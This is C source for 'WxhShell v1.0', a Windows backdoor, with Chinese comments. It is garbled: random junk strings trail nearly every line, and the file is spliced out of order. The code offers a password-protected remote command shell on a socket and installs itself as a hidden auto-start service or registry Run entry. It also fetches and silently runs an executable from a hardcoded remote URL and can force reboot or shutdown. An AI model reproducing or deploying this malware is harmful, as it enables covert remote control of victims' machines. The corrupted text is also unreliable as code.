    } |`94Wj<  
  // 关机 r 0?hX  
  case 'd': { {-v\&w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &, Zz  
    if(Boot(SHUTDOWN)) giSG 6'WA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  $D, wO  
    else { *OGXu07 !  
    closesocket(wsh); yZ?_q$4kEI  
    ExitThread(0); \MFWK#W  
    } Wf`Oye Rz  
    break; TgQ|T57  
    } \HP,LH[P:  
  // 获取shell 'Qs 3  
  case 's': { -MHX1`P:Sn  
    CmdShell(wsh); wsb=[$C  
    closesocket(wsh); ;qVEI/  
    ExitThread(0); kq1M <lk  
    break; u>Axq3F  
  } uZ2v;]\Y6  
  // 退出 XvzV lKL  
  case 'x': { ".Deu|>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wkZ2Y-#='  
    CloseIt(wsh); dV2b)p4J  
    break; [[66[;  
    } H'= i  
  // 离开 cV,03]x  
  case 'q': { ^qzT5W\@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [vjkU7;7A  
    closesocket(wsh); XUqE5[O%  
    WSACleanup(); W}e[.iX;  
    exit(1); kDpZnXP  
    break; C@?e`=9(  
        } Jn:GA@[I  
  } >A'!T'"~  
  } Dgq[g_+l  
S5pP"&I[  
  // 提示信息 Y'a(J7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;k41+O:f@  
} {8bY7NH|  
  } CL}I:/zRB  
,cO)Sxj  
  return; sImxa`kb  
} 2|NyAtPb5  
qyBK\WqaP  
// shell模块句柄 U/&qV"Ih  
int CmdShell(SOCKET sock) pu)9"Ad[ G  
{ JK8@J9(#  
STARTUPINFO si; O7CYpn4<7  
ZeroMemory(&si,sizeof(si)); Z-p^3t'{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \utH*;J|x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BiLreZ~"  
PROCESS_INFORMATION ProcessInfo;  { e  
char cmdline[]="cmd"; .W+4sax:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I8%'Z>E(  
  return 0; ;o@`l$O   
} "N/K*  
=$zr t  
// 自身启动模式 W6/p-e5y  
int StartFromService(void) ]<_!@J6k  
{ 4aGpKvW  
typedef struct KeOBbe  
{ PaeafL65=  
  DWORD ExitStatus; 5F+ f'~  
  DWORD PebBaseAddress; [3NV #  
  DWORD AffinityMask; 9a Ps_|C  
  DWORD BasePriority; Cwa0!y5%  
  ULONG UniqueProcessId; ^A<.s_  
  ULONG InheritedFromUniqueProcessId; i&Cqw~.H  
}   PROCESS_BASIC_INFORMATION; d@4=XSj  
U"kK]Stk<  
PROCNTQSIP NtQueryInformationProcess; W2(=m!:U  
k+G4<qw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XUNgt(OGR'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R#bV/7Ol  
^g){)rz|  
  HANDLE             hProcess; g#3x)97Z  
  PROCESS_BASIC_INFORMATION pbi; 95&sFT C  
\mit&EUh}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); um;U;%?Q  
  if(NULL == hInst ) return 0; Z$K%@q,10+  
2xBGs9_Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = |zLr"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DYk->)   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H$iMP.AK  
}33Au-%*  
  if (!NtQueryInformationProcess) return 0; JkEQ@x  
8(K~QvE~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <sG>[\i  
  if(!hProcess) return 0; ATewdq[C  
sJYX[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jXva ?_  
md_s2d  
  CloseHandle(hProcess); GDe$p;#"9g  
LYKm2C*d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &G,v*5N8$K  
if(hProcess==NULL) return 0; fkG"72 95A  
CA~S$H\"  
HMODULE hMod; !}m 8]&  
char procName[255]; 5Z0x2 jV  
unsigned long cbNeeded; x6P^IkL:  
>CA1Ub&ls  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1x 8]&  
z`6KX93  
  CloseHandle(hProcess); 2)H|/  
yZ6X$I:C  
if(strstr(procName,"services")) return 1; // 以服务启动 I*t}gvUt9  
32J  
  return 0; // 注册表启动 'a9.JS[pj  
} p[I gnO  
7k3\_BHyb\  
// 主模块 RR9s%>^  
int StartWxhshell(LPSTR lpCmdLine) (9h{6rc=I  
{ ;!Mg,jlQ  
  SOCKET wsl; lTNkmQ  
BOOL val=TRUE; HKf3eC  
  int port=0; [:Y^0[2  
  struct sockaddr_in door; OTm"Iwzu@  
]z$<6+G  
  if(wscfg.ws_autoins) Install(); =Ih_[$1dw  
}'JPA&h|  
port=atoi(lpCmdLine); e hGC N=  
B.b)YE '  
if(port<=0) port=wscfg.ws_port; e&kg[jU  
jk?(W2c#{  
  WSADATA data; [ ff.R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q2Dg~et  
L T!X|O.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^8*.r+7p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); epePx0N%x$  
  door.sin_family = AF_INET; UJ+JVj   
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  #Ki@=*  
  door.sin_port = htons(port); gfHlY Q]  
ny0`~bl{p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?2a gU  
closesocket(wsl); mNzZ/*n:  
return 1; ]y/:#^M+  
} bzTM{<]sv  
s4\2lBU?  
  if(listen(wsl,2) == INVALID_SOCKET) { 4H)a7 <,  
closesocket(wsl); w ;O '6"  
return 1; hvwr!(|W  
} <U";V)  
  Wxhshell(wsl); Spb'jAKj'  
  WSACleanup(); v}U;@3W8U  
0&|-wduR=  
return 0; 4ai3@f5  
L!RLw4  
} MH-,+-Eq  
]v@,>!Wn  
// 以NT服务方式启动 %vI]"a@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }OZfsYPz}T  
{ 'DPSM?]fA  
DWORD   status = 0; /$KW$NH4z  
  DWORD   specificError = 0xfffffff; 60m1 >"  
u&:jQ:[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;3_'{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;%&@^;@k%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y\\&~g42R2  
  serviceStatus.dwWin32ExitCode     = 0; G!uxpZ   
  serviceStatus.dwServiceSpecificExitCode = 0; J5-^@JYK  
  serviceStatus.dwCheckPoint       = 0; . Hw^Nx  
  serviceStatus.dwWaitHint       = 0; ]dH; +3 }  
_[V 6s#Wk3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >8c9-dTmf  
  if (hServiceStatusHandle==0) return; vKxwv YDe  
:v+ 39  
status = GetLastError(); &7cy9Z~m  
  if (status!=NO_ERROR) &j$k58mX  
{ q QQ~ [JL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l)zS}"F,  
    serviceStatus.dwCheckPoint       = 0; 0< !BzG  
    serviceStatus.dwWaitHint       = 0; N 6eY-`4y  
    serviceStatus.dwWin32ExitCode     = status; Gh.02  
    serviceStatus.dwServiceSpecificExitCode = specificError; t_3XqjuA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QAr1U7{(.  
    return; i4l?q#X  
  } Y0DBkg  
/h;X1Htx}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -7u4f y{T  
  serviceStatus.dwCheckPoint       = 0; 9 HuE'(wQ  
  serviceStatus.dwWaitHint       = 0; Ha<(~qf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ey:3F%  
} cP-6O42  
+%0+  
// 处理NT服务事件,比如:启动、停止 sXAXHZ{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IP-mo!Y.  
{ $WDa} ~j~^  
switch(fdwControl) L(iWFy1& T  
{ 6+>q1,<  
case SERVICE_CONTROL_STOP: D(y=0),  
  serviceStatus.dwWin32ExitCode = 0; 9G&l{7=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >-Jutr<I"~  
  serviceStatus.dwCheckPoint   = 0; Al! P=h  
  serviceStatus.dwWaitHint     = 0; hD"Tjd` P  
  { s i C/k*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V7.EDE2A3  
  } P66>w})@  
  return; jZ)1]Q2  
case SERVICE_CONTROL_PAUSE: ~qRP.bV%f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  'y1=Z  
  break; [H!V  
case SERVICE_CONTROL_CONTINUE: ) "'J]6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3(X"IoNQ  
  break; (JOge~U  
case SERVICE_CONTROL_INTERROGATE: 'z@(,5  
  break; +Bgy@.a?  
}; /K1YDq<=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >%t"VpvR  
} ]wZG4A  
4~DoqT  
// 标准应用程序主函数 A^xD Axk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ? 3Td>x  
{ b8(94t|;U  
dG\dGSZ\h  
// 获取操作系统版本 ?FJU>+{">  
OsIsNt=GetOsVer(); ~'n3],o?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S U04q+  
w(0's'  
  // 从命令行安装 UH2fP G  
  if(strpbrk(lpCmdLine,"iI")) Install(); }9=VhC%J  
r1f##  
  // 下载执行文件 s"s^rC  
if(wscfg.ws_downexe) { um~U_&>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G[GSt`LVS`  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xi$2MyRd  
} /3{jeU.k  
@uXF(KDX  
if(!OsIsNt) { }N dknut,  
// 如果时win9x,隐藏进程并且设置为注册表启动 7Rwn{]r  
HideProc(); ]y:2OP  
StartWxhshell(lpCmdLine); {FNmYneh?6  
} Y {a#2(xn  
else ' GcN9D  
  if(StartFromService()) (Rj'd>%c  
  // 以服务方式启动 ~qekM>z  
  StartServiceCtrlDispatcher(DispatchTable); bLuAe EA  
else A%(t'z  
  // 普通方式启动 = wEU+R_#o  
  StartWxhshell(lpCmdLine); ,ELbm  
|1!RvW:[!  
return 0; zg>4/10P1q  
} DC+ p s  
&V"9[0  
2"~|k_  
kzozjh%`9h  
=========================================== ;tg9$P<85  
{-a8^IK,  
apmZ&Ab  
II;   
c{4Y?SSx  
rs`"Kz`(  
" 6)5Akyz4V  
<9Sg,ix't  
#include <stdio.h> jxeZ,w o  
#include <string.h> q}x+#[Ef  
#include <windows.h> M4rI]^lJ  
#include <winsock2.h> wB%N}bi!  
#include <winsvc.h> ny++U;qi  
#include <urlmon.h> <gfkbDP2  
';,Rq9-'  
#pragma comment (lib, "Ws2_32.lib") V d`}F0WD  
#pragma comment (lib, "urlmon.lib") jc0Trs{Jf  
>tGl7Ov  
#define MAX_USER   100 // 最大客户端连接数 ^(79SOZC  
#define BUF_SOCK   200 // sock buffer k z{_H`5.  
#define KEY_BUFF   255 // 输入 buffer J)I|Xot  
S29k IJ  
#define REBOOT     0   // 重启 g._`"c  
#define SHUTDOWN   1   // 关机 $*-UY  
lJ>OuSd  
#define DEF_PORT   5000 // 监听端口 jt5:rWB  
qL;u59  
#define REG_LEN     16   // 注册表键长度 J!+)v  
#define SVC_LEN     80   // NT服务名长度 6v1F. u  
4;;K1< 1  
// 从dll定义API sR;^7(f!m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BK *Bw,KQ<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Vz\02,K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GI. =\s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jXH?os%  
J}?:\y<  
// wxhshell配置信息 P,RdY M06  
struct WSCFG { P&$ m2^K  
  int ws_port;         // 监听端口 8 o^ h\9I  
  char ws_passstr[REG_LEN]; // 口令 F<9S,  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ew,1*WK!  
  char ws_regname[REG_LEN]; // 注册表键名 x )w6  
  char ws_svcname[REG_LEN]; // 服务名 4).i4]%LH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4+1aW BJ2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (^lw<$N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5`t MHgQO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qPH=2k ,H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IN!,|)8s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XLq%nVBM8\  
oY(q(W0ze  
}; HAca'!p  
=G<i6%(^g  
// default Wxhshell configuration Y(U+s\X  
struct WSCFG wscfg={DEF_PORT, ^1 U<,<  
    "xuhuanlingzhe", yRdME>_L  
    1, Ho!dtEs  
    "Wxhshell", |A/)b78'u  
    "Wxhshell", ~9Jlb-*I5  
            "WxhShell Service", l =`?Im  
    "Wrsky Windows CmdShell Service", Nk ~"f5q7  
    "Please Input Your Password: ", &aLelJ~  
  1, mSFh*FG  
  "http://www.wrsky.com/wxhshell.exe", Xe. az  
  "Wxhshell.exe"  G9qN1q~  
    }; YYs/r  
| f}1bJE+  
// 消息定义模块 'Z{_w s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <RaUs2Q3.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y7Sey;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B{6wf)[O  
char *msg_ws_ext="\n\rExit."; a?K3/0G  
char *msg_ws_end="\n\rQuit."; Ro:DAxi @L  
char *msg_ws_boot="\n\rReboot..."; s%OPoRE  
char *msg_ws_poff="\n\rShutdown..."; knb 9s`wR  
char *msg_ws_down="\n\rSave to "; ]ML(=7z"  
Ng 3r`S"_<  
char *msg_ws_err="\n\rErr!"; Rv=rO|&]  
char *msg_ws_ok="\n\rOK!"; At$[&%}  
"MX9h }7  
char ExeFile[MAX_PATH]; +_"AF|  
int nUser = 0; ,)beK*Iw  
HANDLE handles[MAX_USER]; Yn+d!w<3:  
int OsIsNt; aFf(m-  
+5xVgIk#  
SERVICE_STATUS       serviceStatus; l'm\ *=3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0~( f<:  
_GF{Duxh  
// 函数声明 WH^^.^(i  
int Install(void); M:/)|fk  
int Uninstall(void); CA[3 R  
int DownloadFile(char *sURL, SOCKET wsh); q!!gn1PT(T  
int Boot(int flag); 2b89th  
void HideProc(void); %}/|/=  
int GetOsVer(void); l1#F1q`^t  
int Wxhshell(SOCKET wsl); ziXZJ^(FI  
void TalkWithClient(void *cs); G W@g  
int CmdShell(SOCKET sock); hg Pzx@  
int StartFromService(void); QTLGM-Z  
int StartWxhshell(LPSTR lpCmdLine); q>5 K:5  
vp2s)W8W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q xm:5P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ax{C ^u  
 U rL|r.  
// 数据结构和表定义 (@nE e?  
SERVICE_TABLE_ENTRY DispatchTable[] = )8@|+'q  
{ bg/a5$t  
{wscfg.ws_svcname, NTServiceMain}, t4[<N  
{NULL, NULL} 'J1!P:tJ  
}; ==]BrhZK  
{[:]}m(c  
// 自我安装 I;GbS`  
int Install(void) DU|>zO%  
{ ,.,spoV  
  char svExeFile[MAX_PATH]; hj+iB,8  
  HKEY key; ?&_u$Nn  
  strcpy(svExeFile,ExeFile); Dhze2q)o  
]}z"H@k  
// 如果是win9x系统,修改注册表设为自启动 /^rJ`M[;  
if(!OsIsNt) { PW QRy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GJj}|+|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LCMZw6p  
  RegCloseKey(key); /Dj-@7.C/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G:4'')T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _2~+%{/m,  
  RegCloseKey(key); \ Dccf_(Pb  
  return 0; F1GFn|OA  
    } M'5PPBSR  
  } 35 d:r:  
} FXG,D J:  
else { 6^NL>|?  
VxW>Xx G0  
// 如果是NT以上系统,安装为系统服务 \ IX|{]*D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |YcYWok  
if (schSCManager!=0) tb/`*Yl@  
{ GAU7w"sE  
  SC_HANDLE schService = CreateService WbJ  
  ( W'{o`O=GGr  
  schSCManager, <TEDqQ  
  wscfg.ws_svcname, ]QSQr *  
  wscfg.ws_svcdisp, D $&6 8  
  SERVICE_ALL_ACCESS, GV8`.3DBOF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L2> )HG  
  SERVICE_AUTO_START, S5/p3;O\c  
  SERVICE_ERROR_NORMAL, }DFZ9,gQ  
  svExeFile, #ja6nt8GC  
  NULL, ]6;G#  
  NULL, 'b:UafV  
  NULL, Y$0K}`{  
  NULL, -7u_\XFk  
  NULL &xE+PfX  
  ); <RCeY(1  
  if (schService!=0) 1k!$#1d<  
  { OLE@35"v]  
  CloseServiceHandle(schService); \2[sUY<W  
  CloseServiceHandle(schSCManager); 'k9 Qd:a}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |\T!,~  
  strcat(svExeFile,wscfg.ws_svcname); 4P=)u}{]^#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 48LzI@H&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p+}eP|N  
  RegCloseKey(key); U"OA m}  
  return 0; RU+F~K<  
    } Gdv{SCV  
  } 8V@\$4@b!#  
  CloseServiceHandle(schSCManager); # B@*-  
} pGP$2  
} \me-#: Gu  
hx hs>eY  
return 1; 4%*`' o$_  
} "O<TNSbrC  
S4D~`"4 $/  
// 自我卸载 7-MyiCt  
int Uninstall(void) rq|>z.  
{ ,B$e'KQ  
  HKEY key; J=B,$4)9  
\9k{h08s  
if(!OsIsNt) { XL`i9kV?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -5Aqf\  
  RegDeleteValue(key,wscfg.ws_regname); $: qrh66  
  RegCloseKey(key); lB(P+yY,/'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eb7~\|9l1i  
  RegDeleteValue(key,wscfg.ws_regname); :tp{(MF  
  RegCloseKey(key); vg\fBHzn  
  return 0; -z'6.I cO  
  } UQ~gjnb[c  
} [t"#4[  
} S<>u  
else { tx]!|x" F  
Q#}c5TjVr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 28O3N;a  
if (schSCManager!=0) tNYCyw{K  
{ 7vEZb.~4z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %i@Jw  
  if (schService!=0) {oRR]>  
  { Jqqt@5Ni  
  if(DeleteService(schService)!=0) { Kbcr-89Gv~  
  CloseServiceHandle(schService); E[tEW0ub  
  CloseServiceHandle(schSCManager); 8[d6 s  
  return 0; -bp7X{&  
  } GL3olKnL  
  CloseServiceHandle(schService); *7K)J8kq  
  } jo ~p#l.'  
  CloseServiceHandle(schSCManager); ZCDcf   
} HfA@tZ5q|U  
} kRB2J3Nt.  
Df0m  
return 1; B8 R&Q8Q  
} Te@=8-u-  
O],]\M{GL  
// 从指定url下载文件 Uc5BNk7<=  
int DownloadFile(char *sURL, SOCKET wsh) ;"+]bne~  
{ S3&lkN5  
  HRESULT hr; *!L it:H  
char seps[]= "/"; EALgBv>#ZL  
char *token; Q#sLIZ8=  
char *file; ,Cj` 0v#  
char myURL[MAX_PATH]; 6F08$,%Y  
char myFILE[MAX_PATH]; uOQl;}Lk5  
3L-}B#tI  
strcpy(myURL,sURL); gIcm`5+T  
  token=strtok(myURL,seps); n]snD1?KX  
  while(token!=NULL) Dt]*M_  
  { {{Z3M>Q  
    file=token; (-esUOB.  
  token=strtok(NULL,seps); 'Y:ZWac,  
  } ^3w >:4m  
p|VgtQ/ )%  
GetCurrentDirectory(MAX_PATH,myFILE); 992cy2,Fb  
strcat(myFILE, "\\"); .dl4f"k  
strcat(myFILE, file); -%>.Z1uj  
  send(wsh,myFILE,strlen(myFILE),0); V"Y-|R  
send(wsh,"...",3,0); Qj(|uGqm3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VVm8bl.q  
  if(hr==S_OK) FdM xw*}  
return 0; 0j(/N  
else wsyAq'%L  
return 1; S_Ug=8r4  
Nt P=m @  
} I9E]zoj8  
J?84WS  
// 系统电源模块 ul[+vpH9  
int Boot(int flag) a^.5cJ$]  
{ jY ~7-  
  HANDLE hToken; q5u"v  
  TOKEN_PRIVILEGES tkp; Q:sw*7"F  
\KT}T  
  if(OsIsNt) { R[{s\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2N[S*#~*e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WR@TH bU  
    tkp.PrivilegeCount = 1; !(-S?*64l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0ntf%#2{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1"P^!N  
if(flag==REBOOT) { Cz]NSG5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;&MI M`&$  
  return 0; 9|9Hk1  
} mQy!*0y  
else { 3 CArUP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '}.Z' %;  
  return 0; cR"?EQ] `N  
} C lekB  
  } B0#JX MX9  
  else { mq*Efb)!  
if(flag==REBOOT) { yp.\KLq8)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ibIo1i//[  
  return 0; qZ|>{^a*  
} l=?G"1  
else { XlHt(d0h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v6q oH)n  
  return 0; tsvh/)V  
} t?<pyw $  
} >V1v.JH  
qL?`l;+  
return 1; 380M &Guh  
} RNB ha&  
oUG!=.1}K5  
// win9x进程隐藏模块 c-gpO|4>  
void HideProc(void) z),@YJU"z  
{ NwPC9!*  
F2 #s^4Ii  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c mI&R(  
  if ( hKernel != NULL ) B8sc;Z.  
  { dZ"w2ho  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N(@B3%H2/J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oe*Y(T\G  
    FreeLibrary(hKernel); WY 'QhieH  
  } sF+Bu'9A  
(h3f$  
return; fce~a\y0  
} e qzmEg  
~ M!s0jT  
// 获取操作系统版本 'ZboLoS*-  
int GetOsVer(void) ltH?Ew<]  
{ ]> dCt<  
  OSVERSIONINFO winfo; e0; KmQjG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :497]c3#5C  
  GetVersionEx(&winfo); +M^+qt;]V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |MQ_VZ{6  
  return 1; >/5'0n_R  
  else O<KOsu1WW  
  return 0; Y)oF;ko:  
} DN%b!K:  
6b6rM%B.oD  
// 客户端句柄模块 \p%,g& ^ x  
int Wxhshell(SOCKET wsl) ,/uVq G  
{ )E hR qX9  
  SOCKET wsh; U6/$CH<pe  
  struct sockaddr_in client; C@#KZ`c)  
  DWORD myID; Q]v><  
z +NwGVk3  
  while(nUser<MAX_USER) 9\J.AAk~/  
{ 9yrSCDu00  
  int nSize=sizeof(client); (SnrY O`#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]8;2Oh   
  if(wsh==INVALID_SOCKET) return 1; 41Nm+$m  
BV@xE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CqkY_z  
if(handles[nUser]==0) #i1z&b#@  
  closesocket(wsh); zY^QZceq"  
else J% mtlA  
  nUser++; bAVlL&^@|  
  } 5H!6 #pqM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]aN]Ha  
}3DZ`8u  
  return 0; OoqA`%  
} $[1J[eY*  
5dXDL~/2p  
// 关闭 socket 1X,\:F.-+  
void CloseIt(SOCKET wsh) .s8u?1b  
{ IB%Hv]  
closesocket(wsh); ZtofDp5B  
nUser--; /ho7O/aAa  
ExitThread(0); ]r\d 5  
} E$1P H)  
hqwDlapTt  
// 客户端请求句柄 =_:Mx'7  
void TalkWithClient(void *cs) i~sW_f+  
{ lV ra&5  
59X'-fg,  
  SOCKET wsh=(SOCKET)cs; ! a!^'2  
  char pwd[SVC_LEN]; tB/'3#o  
  char cmd[KEY_BUFF]; g* DBW,  
char chr[1]; ;cD&qheDV  
int i,j; 9tBE=L=  
d: {#Dk#  
  while (nUser < MAX_USER) { l1uv]t <  
t}x^*I$*  
if(wscfg.ws_passstr) { 25wvB@0&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gH<A.5 xy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  <R.Ipyt.  
  //ZeroMemory(pwd,KEY_BUFF); 3"HX':8x  
      i=0; :211T&B%A_  
  while(i<SVC_LEN) { cOrFe;8-.  
j3&tXZ;F  
  // 设置超时 {O"N2W  
  fd_set FdRead; :vo#(  
  struct timeval TimeOut; rOA{8)jIa*  
  FD_ZERO(&FdRead); |:)ARH6l#  
  FD_SET(wsh,&FdRead); ]GH_;  
  TimeOut.tv_sec=8; U{?#W  
  TimeOut.tv_usec=0; dk[MT'DV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JK9 J;c#T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v FWg0 $,  
;tG@ 6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c6~<vV'}  
  pwd=chr[0]; P`TJqJiY~  
  if(chr[0]==0xd || chr[0]==0xa) { >(BAIjF E\  
  pwd=0; u.9syr  
  break; {}DoRp q=  
  } uB>OS 1=  
  i++; [iGL~RiXtn  
    } fZNe[|  
}y&tF'qG  
  // 如果是非法用户,关闭 socket rJw Ws  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G-Dc(QhU&  
} Q1^kU0M}  
\Jm^XXgS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4ZCD@C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j7sRmQCl  
mT&?DZ9<  
while(1) { `FHKQS5  
?*dt JL  
  ZeroMemory(cmd,KEY_BUFF); )Nnrsa  
Pt\GVWi_t  
      // 自动支持客户端 telnet标准   A| s\5"??  
  j=0; :e!3-#H  
  while(j<KEY_BUFF) { 'v0(ki#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [|tlTk   
  cmd[j]=chr[0]; Ac8t>;=&  
  if(chr[0]==0xa || chr[0]==0xd) { "pTU&He  
  cmd[j]=0; 5h@5.-}  
  break; v/[*Pze,C  
  } %[WOQ.Sh  
  j++; v]c+|nRs  
    } fp?cb2'7  
<Wa7$hF  
  // 下载文件 JN> h:  
  if(strstr(cmd,"http://")) { LtVIvZie  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]*TW%mY  
  if(DownloadFile(cmd,wsh)) 6YF<GF{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~\1g^h  
  else 3e ?J#;  
